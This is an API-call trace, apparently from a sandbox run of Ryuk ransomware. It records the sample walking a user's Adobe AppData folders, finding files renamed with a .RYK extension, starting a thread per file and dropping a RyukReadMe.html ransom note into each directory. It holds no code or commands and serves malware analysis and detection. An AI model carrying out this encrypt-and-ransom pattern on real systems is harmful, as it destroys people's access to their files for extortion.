	[0201.154] FindNextFileW (in: hFindFile=0x29ece0, lpFindFileData=0x10f490 | out: lpFindFileData=0x10f490*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x47129e50, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x21df2, dwReserved0=0xf8, dwReserved1=0x0, cFileName="AdobeSysFnt10.lst.RYK", cAlternateFileName="ADOBES~1.RYK")) returned 1
	[0201.154] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0201.155] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3ec
	[0201.539] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0201.542] FindNextFileW (in: hFindFile=0x29ece0, lpFindFileData=0x10f490 | out: lpFindFileData=0x10f490*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x47e678b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47e678b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1
	[0201.542] SetLastError (dwErrCode=0x0) 
	[0201.542] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\adobe\\acrobat\\10.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d0
	[0201.543] GetLastError () returned 0xb7
	[0201.543] CloseHandle (hObject=0x3d0) returned 1
	[0201.543] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\*.*", lpFindFileData=0x10ed60 | out: lpFindFileData=0x10ed60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x47e678b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47e678b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x102, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29eda0
	[0201.543] FindNextFileW (in: hFindFile=0x29eda0, lpFindFileData=0x10ed60 | out: lpFindFileData=0x10ed60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x47e678b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47e678b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x102, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0201.544] FindNextFileW (in: hFindFile=0x29eda0, lpFindFileData=0x10ed60 | out: lpFindFileData=0x10ed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x47801d90, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xd0e2, dwReserved0=0x102, dwReserved1=0x0, cFileName="AcroFnt10.lst.RYK", cAlternateFileName="ACROFN~1.RYK")) returned 1
	[0201.544] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0201.545] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f0
	[0201.549] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0201.550] FindNextFileW (in: hFindFile=0x29eda0, lpFindFileData=0x10ed60 | out: lpFindFileData=0x10ed60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46e0a170, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46e0a170, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46e0a170, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x102, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0201.550] FindNextFileW (in: hFindFile=0x29eda0, lpFindFileData=0x10ed60 | out: lpFindFileData=0x10ed60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46e0a170, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46e0a170, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46e0a170, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x102, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0201.550] FindClose (in: hFindFile=0x29eda0 | out: hFindFile=0x29eda0) returned 1
	[0201.550] SetLastError (dwErrCode=0x0) 
	[0201.550] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\adobe\\acrobat\\10.0\\cache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d0
	[0201.551] GetLastError () returned 0xb7
	[0201.551] CloseHandle (hObject=0x3d0) returned 1
	[0201.551] FindNextFileW (in: hFindFile=0x29ece0, lpFindFileData=0x10f490 | out: lpFindFileData=0x10f490*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46de4010, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46de4010, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46de4010, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0xf8, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0201.551] FindNextFileW (in: hFindFile=0x29ece0, lpFindFileData=0x10f490 | out: lpFindFileData=0x10f490*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3b286a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd3b286a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x4784e050, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x1522, dwReserved0=0xf8, dwReserved1=0x0, cFileName="SharedDataEvents.RYK", cAlternateFileName="SHARED~1.RYK")) returned 1
	[0201.551] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0201.552] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d0
	[0201.555] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0201.556] FindNextFileW (in: hFindFile=0x29ece0, lpFindFileData=0x10f490 | out: lpFindFileData=0x10f490*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x479589f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x12fc2, dwReserved0=0xf8, dwReserved1=0x0, cFileName="UserCache.bin.RYK", cAlternateFileName="USERCA~1.RYK")) returned 1
	[0201.556] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0201.557] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f4
	[0201.561] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0201.562] FindNextFileW (in: hFindFile=0x29ece0, lpFindFileData=0x10f490 | out: lpFindFileData=0x10f490*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x479589f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x12fc2, dwReserved0=0xf8, dwReserved1=0x0, cFileName="UserCache.bin.RYK", cAlternateFileName="USERCA~1.RYK")) returned 0
	[0201.562] FindClose (in: hFindFile=0x29ece0 | out: hFindFile=0x29ece0) returned 1
	[0201.562] SetLastError (dwErrCode=0x0) 
	[0201.562] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\adobe\\acrobat\\10.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc
	[0201.562] GetLastError () returned 0xb7
	[0201.563] CloseHandle (hObject=0x3bc) returned 1
	[0201.563] FindNextFileW (in: hFindFile=0x29ec80, lpFindFileData=0x10fbc0 | out: lpFindFileData=0x10fbc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46dbdeb0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46dbdeb0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46dbdeb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0xe8, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0201.563] FindNextFileW (in: hFindFile=0x29ec80, lpFindFileData=0x10fbc0 | out: lpFindFileData=0x10fbc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46dbdeb0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46dbdeb0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46dbdeb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0xe8, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0201.563] FindClose (in: hFindFile=0x29ec80 | out: hFindFile=0x29ec80) returned 1
	[0201.563] SetLastError (dwErrCode=0x0) 
	[0201.563] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\adobe\\acrobat\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0
	[0201.564] GetLastError () returned 0xb7
	[0201.564] CloseHandle (hObject=0x3c0) returned 1
	[0201.564] FindNextFileW (in: hFindFile=0x29ed40, lpFindFileData=0x1102f0 | out: lpFindFileData=0x1102f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47ed9cd0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47ed9cd0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdc, dwReserved1=0x0, cFileName="Color", cAlternateFileName="")) returned 1
	[0201.564] SetLastError (dwErrCode=0x0) 
	[0201.564] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0
	[0201.564] GetLastError () returned 0xb7
	[0201.564] CloseHandle (hObject=0x3c0) returned 1
	[0201.564] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\*.*", lpFindFileData=0x10fbc0 | out: lpFindFileData=0x10fbc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47ed9cd0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47ed9cd0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xe8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ec80
	[0201.565] FindNextFileW (in: hFindFile=0x29ec80, lpFindFileData=0x10fbc0 | out: lpFindFileData=0x10fbc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47ed9cd0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47ed9cd0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xe8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0201.565] FindNextFileW (in: hFindFile=0x29ec80, lpFindFileData=0x10fbc0 | out: lpFindFileData=0x10fbc0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x4790c730, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0xe8, dwReserved1=0x0, cFileName="ACECache11.lst.RYK", cAlternateFileName="ACECAC~1.RYK")) returned 1
	[0201.565] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0201.566] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3bc
	[0201.571] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0201.572] FindNextFileW (in: hFindFile=0x29ec80, lpFindFileData=0x10fbc0 | out: lpFindFileData=0x10fbc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47f983b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47f983b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xe8, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1
	[0201.572] SetLastError (dwErrCode=0x0) 
	[0201.572] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\adobe\\color\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f8
	[0201.572] GetLastError () returned 0xb7
	[0201.572] CloseHandle (hObject=0x3f8) returned 1
	[0201.572] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*.*", lpFindFileData=0x10f490 | out: lpFindFileData=0x10f490*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47f983b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47f983b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ece0
	[0201.573] FindNextFileW (in: hFindFile=0x29ece0, lpFindFileData=0x10f490 | out: lpFindFileData=0x10f490*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47f983b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47f983b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0201.573] FindNextFileW (in: hFindFile=0x29ece0, lpFindFileData=0x10f490 | out: lpFindFileData=0x10f490*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4778f970, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4778f970, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4778f970, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0xf4, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0201.573] FindNextFileW (in: hFindFile=0x29ece0, lpFindFileData=0x10f490 | out: lpFindFileData=0x10f490*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x47a894f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x103c2, dwReserved0=0xf4, dwReserved1=0x0, cFileName="wscRGB.icc.RYK", cAlternateFileName="WSCRGB~1.RYK")) returned 1
	[0201.573] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0201.574] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3fc
	[0201.578] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0201.579] FindNextFileW (in: hFindFile=0x29ece0, lpFindFileData=0x10f490 | out: lpFindFileData=0x10f490*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x47ad57b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0xf4, dwReserved1=0x0, cFileName="wsRGB.icc.RYK", cAlternateFileName="WSRGBI~1.RYK")) returned 1
	[0201.579] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0201.580] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x404
	[0201.588] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0201.589] FindNextFileW (in: hFindFile=0x29ece0, lpFindFileData=0x10f490 | out: lpFindFileData=0x10f490*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x47ad57b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0xf4, dwReserved1=0x0, cFileName="wsRGB.icc.RYK", cAlternateFileName="WSRGBI~1.RYK")) returned 0
	[0201.589] FindClose (in: hFindFile=0x29ece0 | out: hFindFile=0x29ece0) returned 1
	[0201.589] SetLastError (dwErrCode=0x0) 
	[0201.589] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\adobe\\color\\profiles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f8
	[0201.589] GetLastError () returned 0xb7
	[0201.589] CloseHandle (hObject=0x3f8) returned 1
	[0201.590] FindNextFileW (in: hFindFile=0x29ec80, lpFindFileData=0x10fbc0 | out: lpFindFileData=0x10fbc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4706b770, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4706b770, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4706b770, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0xe8, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0201.590] FindNextFileW (in: hFindFile=0x29ec80, lpFindFileData=0x10fbc0 | out: lpFindFileData=0x10fbc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4706b770, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4706b770, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4706b770, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0xe8, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0201.590] FindClose (in: hFindFile=0x29ec80 | out: hFindFile=0x29ec80) returned 1
	[0201.590] SetLastError (dwErrCode=0x0) 
	[0201.590] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\adobe\\color\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0
	[0201.590] GetLastError () returned 0xb7
	[0201.591] CloseHandle (hObject=0x3c0) returned 1
	[0201.591] FindNextFileW (in: hFindFile=0x29ed40, lpFindFileData=0x1102f0 | out: lpFindFileData=0x1102f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46aea490, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0xdc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0201.591] FindNextFileW (in: hFindFile=0x29ed40, lpFindFileData=0x1102f0 | out: lpFindFileData=0x1102f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46aea490, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0xdc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0201.591] FindClose (in: hFindFile=0x29ed40 | out: hFindFile=0x29ed40) returned 1
	[0201.591] SetLastError (dwErrCode=0x0) 
	[0201.591] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x358
	[0201.591] GetLastError () returned 0xb7
	[0201.592] CloseHandle (hObject=0x358) returned 1
	[0201.592] FindNextFileW (in: hFindFile=0x29eaa0, lpFindFileData=0x110a20 | out: lpFindFileData=0x110a20*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1
	[0201.592] SetLastError (dwErrCode=0x0) 
